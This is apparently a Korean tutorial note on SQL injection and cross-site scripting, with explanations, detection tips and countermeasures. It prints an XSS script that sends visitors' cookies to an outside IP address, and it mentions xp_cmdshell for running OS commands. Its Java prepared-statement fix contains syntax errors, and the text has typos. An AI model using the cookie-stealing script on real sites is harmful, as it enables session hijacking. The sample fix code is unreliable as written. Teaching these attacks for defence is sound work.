1. SQL 삽입 공격
1-1) 웹 애플리케이션은 사용자로부터 SQL 구문을 입력 받는 부분, 즉 데이터베이스와 연동되어야
연동되어야 하는 부분은 크게 로그인, 검색, 게시판으로 나눌 수 있습니다.
1-2) 로그인 하는 과정에서 아이디와 패스워드 부분에 특정한 SQL 문이 사입되어 그것이 그대로
데이터베이스에 전송되어 공격자는 원하는 결과를 볼 수 있는 것입니다.
1-3) 발전된 SQL 공격
단순한 로그인 우회 공격이 아닌 다른 테이블에 있는 내용을 열람하는 공격
일반적으로 우편번호 검색 부분에 SQL 쿼리를 입력 받아 조회를 하고 조회하는 과정에서
사용자 입력을 체크하지 않을 경우 SQL Injection 취약점으로 인해 다른 테이블의 내용을 열람
할 수도 있습니다. 또한 Union 구문을 이용하는 경우도 있습니다.
1-4) 발전된 SQL Injection 공격을 위해 다음과 같은 조건이 만족되어야 합니다.
앞의 select 문에서 가져온 열 수와 union뒤에 select 문에서 가져오는 열 수가 동일해야 하고
테이블의 이름과 컬럼의 이름을 알고 있어야 하며 각 컬럼의 타입이 일치해야 합니다.
1-5) SQL Injection 취약점이 존재하는지 확인 하는 방법
1. 사용자의 입력이 DB와 연결되는 부분에 ' 과 같은 문자를 입력하였을 때 SQL 에러가
발생하면 SQL Injection 취약점이 존재한다고 봄
2. SQL 이중 명령어의 사용 : MS-SQL의 경우 ; 문자가 존재하면 SQL 쿼리를 끝내고 ; 다음에
나오는 SQL 쿼리를 실행합니다.
3. MS-SQL의 경우 xp_cmdshell을 이용하여 윈도우 내부 명령어를 실행할 수 있습니다.
1-6) 대응법
1. SQL Injection 공격 취약점은 프로그래머가 사용자의 입력을 받는 부분에서 비정상적인
입력이나 예상치 못한 입력을 받는 것을 처리하지 못 할 때 발생합니다.
2. SQL Injection 공격을 막기 위해서는 사용자의 입력 값에 대한 필터링을 수행합니다.
3. CSS 언어에서의 검증이 아닌 SSS 의 검증으로 처리합니다.
해결안)
String param1 = request.getParameter("id");
String param2 = request.getParameter("password");
validata(param1); // 특수 문자에 대한 필터링
validata(param2);
query = "select userid, userpw from users where userid =? ";
pstmt = conn.prepareStatement(query);
pstmt = setString1, param1);
rs = pstmt.executeQuery();
if (rs.next()) {
//검증
if (rs.getString(1).equals(param1) && getString(2).equals(param2)) {
//성공
}else {
//실패
}else {
// 로그인 실패
}
2. XSS 공격
2-1) XSS를 이용한 공격의 기본 원리
2-2) XSS란
1. Corss Site Scripting의 약자를 줄여 CSS라고 합니다. 또 다른 이름인 Cascadion Style
Sheets와 혼동되어 일반적으로 XSS라고 불리게 되었습니다.
2. XSS는 타 사용자의 정보를 추출하기 위해 사용되는 공격 기법으로 게시판이나 검색 부분,
즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 공격자가
스크립트 코드를 실행할 수 있게 되는 취약점 입니다.
2-3) XSS를 통한 공격 방법
실제 XSS 공격을 통해 다른 사용자의 쿠키 값을 이용해 다른 사용자로 로그인 하는 과정
1. 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도합니다.
2. 스크립트가 시작하여 열람자의 쿠키 값을 가로챔니다.
3. 가로챈 쿠키 값을 웹 포록시 등을 이용하여 재전송합니다.
4. 공격자는 열람자의 정보로 로그인을 합니다.
예) <script> url="http://192.0.0.1/GetCookie.jsp?cookie=+document.cookie;whidow.open(
url,width=0, height=0);</script>
위 코드는 게시판을 열람시에 사용자의 쿠키 정보가 해커의 웹서버로 전송하는 코드임
2-4) 대응방안
1. 중요한 정보는 쿠키에 저장하지 않아야 하며 사용자 식별 같은 부분은 쿠키에 담지
않아야
한다.
2. 스크립트 코드에 사용되는 특수 문자에 대한 이해와 정확한 필터링을 해야 한다.
가장 효과적인 방법은 사용자가 입력 가능한 문자(예를 들어, 알파벳, 숫자 및 몇 개의 특수문자)
만을 정해 놓고 그 문자열이 아닌 경우는 모두 필터링해야 합니다. 이 방법은 추가적인
XSS 취약점에 사용되는 특수 문자를 애초부터 막을 수 있다는 장점이 있습니다.
3. 꼭 필요한 경우가 아니라면 게시판에 HTML 포멧의 입력을 사용할 수 없도록 설정합니다.
4. 스크립트 대체 및 무효화 javascript라고 들어오는 문자열을 무조건 'x-javascript'와
같이 대체를 하여 스크립트 실행을 무효화시키는 방법도 있습니다.
5. 정기적인 점검을 통해 취약점을 수시로 확인하고 제거합니다.